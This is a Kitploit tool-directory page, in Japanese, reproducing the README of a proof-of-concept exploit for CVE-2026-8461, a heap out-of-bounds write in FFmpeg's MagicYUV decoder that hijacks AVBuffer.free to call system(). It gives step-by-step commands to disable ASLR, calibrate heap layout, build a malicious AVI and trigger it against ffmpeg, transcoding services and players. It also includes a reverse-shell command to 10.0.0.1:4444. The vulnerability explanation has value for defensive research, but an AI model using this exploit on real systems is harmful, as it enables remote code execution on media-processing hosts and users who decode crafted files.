Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-8461-EXP | Kitploit
ツール/GitHubGitHub/y5neko/cve-2026-8461-exp
脆弱性分析エクスプロイトCTF学習と教育ペイロード開発バイナリエクスプロイト
GitHuby5neko/cve-2026-8461-exp

CVE-2026-8461-EXP

リポジトリを見る
1421ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-8461 "PixelSmash" — FFmpeg MagicYUV ヒープ OOB 書き込み PoC

[!WARNING] このリポジトリには、ヒープ破壊の脆弱性に対する実動するエクスプロイト PoC が含まれています。 これは、許可されたセキュリティ研究、CTF コンテキスト、および防御的分析のみを目的としています。 自分が所有していないシステム、または明示的な書面による許可を得ていないシステムに対して使用しないでください。

影響を受けるバージョン: FFmpeg 8.0.1 MagicYUV デコーダー (libavcodec/magicyuv.c)
プリミティブ: ヒープ OOB 書き込み → AVBuffer.free の乗っ取り → system() 呼び出し


脆弱性

magy_decode_slice() は、Cb/Cr 出力プレーンへの書き込みのループ境界として sheight(クランプされていないスライス高さ)を使用しますが、バッファはクランプされた height を使用して割り当てます。特別に細工されたフレームの最後のスライスでは、ループが割り当て領域の終端を超えて書き込みを行います。

root@kitploit:~
// magicyuv.c:291 — dst pointer is already at sheight×stride past buffer start
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
    dst[i] = get_vlc2(...);   // OOB write when sheight > height

この範囲外書き込みは、後続で割り当てられた AVBuffer 構造体に到達します。書き込むバイトを制御することで、AVBuffer.free が system() のアドレスで上書きされ、AVBuffer.opaque がヒープ上のコマンド文字列のアドレスで上書きされます。フレームが解放されると、av_buffer_unref() が system(cmd) を呼び出します。

完全な技術解説: 英語 · 中国語


ファイル


要件

root@kitploit:~
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0   (ASLR disabled — required for calibration)

Python の依存関係: なし(標準ライブラリのみ)。


クイックスタート

ステップ 0 — ASLR を無効化

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0

ステップ 1 — キャリブレーションを生成

デバッグビルド(-g 付きでコンパイル、例: --enable-debug 付きソースからビルド):

root@kitploit:~
python3 auto_calibrate.py \
    --ffmpeg /path/to/ffmpeg-debug \
    --avi    /tmp/exploit.avi \
    -o       calibration.json

プロダクションビルド(ストリップ済み共有ライブラリ、例: apt install ffmpeg またはカスタム --enable-shared):

root@kitploit:~
python3 auto_calibrate_nosym.py \
    --ffmpeg  /path/to/ffmpeg \
    --libpath /path/to/ffmpeg/lib \
    --avi     /tmp/exploit.avi \
    -o        calibration.json

--avi のパスは、キャリブレーションとエクスプロイト配信の間で同一である必要があります。 パス文字列の長さを変更するとヒープレイアウトが変化し、キャリブレーションが無効になります。

ステップ 2 — エクスプロイト AVI を生成

root@kitploit:~
python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "id > /tmp/pwned" \
    -o /tmp/exploit.avi

ステップ 3 — トリガー

root@kitploit:~
# Debug build (statically linked)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -

# Production build (shared-library)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -

# System-installed FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -

期待される出力: コマンドが実行され、その後プロセスが corrupted size vs. prev_size でクラッシュします。

root@kitploit:~
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

image-20260624151409029

リバースシェルの例

root@kitploit:~
python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    -o /tmp/exploit.avi

キャリブレーションスクリプトの決定フロー

root@kitploit:~
Target FFmpeg binary
    │
    ├─ Has debug symbols?  (file ffmpeg | grep debug_info)
    │       └─ YES → auto_calibrate.py
    │
    └─ Stripped / production
            │
            ├─ Dynamically linked?  (ldd ffmpeg | grep libavutil)
            │       └─ YES → auto_calibrate_nosym.py
            │
            └─ Statically linked + fully stripped
                    └─ Neither script applies
                       (requires LD_PRELOAD malloc hook approach)

auto_calibrate_nosym.py は次のように動作します:

  1. av_buffer_create(libavutil.so .dynsym に常に存在)にブレークポイントを設定し、ソースレベルのシンボルを必要とせずに Cb および Cr データポインタを取得します。
  2. OOB 開始アドレスに GDB ハードウェア書き込みウォッチポイントを設定します。
  3. 結果のヒープダンプを歩いて AVBuffer 構造体を特定し、system() のアドレスを抽出します。

トリガー要件

このエクスプロイトは、ターゲットがビデオフレームをデコードしたときに発動します(単なるプローブでは発動しません):


ベースライン PoC(OOB 書き込みのみ、ペイロードなし)

コマンドを実行せずに脆弱性を実証するには:

root@kitploit:~
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# crashes with: free(): invalid pointer  or  corrupted size vs. prev_size

スコープと制限事項

  • アーキテクチャ: x86_64 のみで開発・テスト済み。このエクスプロイトは、AVBuffer 構造体が Cb プレーンの OOB 開始アドレスの 640 バイト以内に配置される特定のヒープレイアウトに依存します。aarch64 では、glibc の割り当て順序により AVBuffer がその範囲外(隣接チャンクは約 10 KB の Cr バッファ)に配置されるため、現在のフレームジオメトリでは OOB 書き込みが到達できません。aarch64 への移植には、aarch64 のヒープレイアウトをプロファイリングし、フレームジオメトリをそれに合わせて調整する必要があります。
  • ASLR: 無効化する必要があります(kernel.randomize_va_space=0)。ASLR が有効な場合、ヒープアドレスは実行ごとにランダム化され、キャリブレーションは適用されません。ASLR 有効なターゲットに対応するには、情報漏えいプリミティブが必要です。
  • キャリブレーションのスコープ: 特定のマシン上の特定のバイナリに対してのみ有効です。異なるビルド、異なる libc バージョン、または異なる AVI パス長では、再キャリブレーションが必要です。
  • AVI パス: エクスプロイト AVI は、キャリブレーション時に使用したのと同じ絶対パスで配信する必要があります。
  • auto_calibrate_nosym.py: libavutil.so にアクセス可能な動的リンク FFmpeg が必要です(システムパスまたは --libpath 経由)。
ツールをダウンロード
FileDescription
exploit_cve_2026_8461.pyエクスプロイト AVI 生成器 — 悪意のある MagicYUV ビットストリームを作成します
auto_calibrate.pyデバッグビルド用の自動キャリブレーション(-g デバッグシンボルが必要)
auto_calibrate_nosym.pyプロダクションビルド用の自動キャリブレーション(ストリップ済み、共有ライブラリ)
CVE-2026-8461_Analysis_EN.md完全な脆弱性分析(英語)
CVE-2026-8461_Analysis.md完全な脆弱性分析(中国語)
ffmpeg_prodローカルテスト用のストリップ済みプロダクション FFmpeg 8.0.1 バイナリ
InvocationTriggers RCE
ffmpeg -i evil.avi -f null -はい
ffmpeg -i evil.avi -o out.mp4はい
Web トランスコーディングサービス (libavcodec デコードループ)はい
libavcodec を使用するビデオプレーヤーはい
ffmpeg -i evil.avi (出力未指定)いいえ — av_buffer_unref が発動する前にプロセスが異常終了します
ffprobe evil.aviいいえ — プローブ専用パスであり、完全なデコードは行われません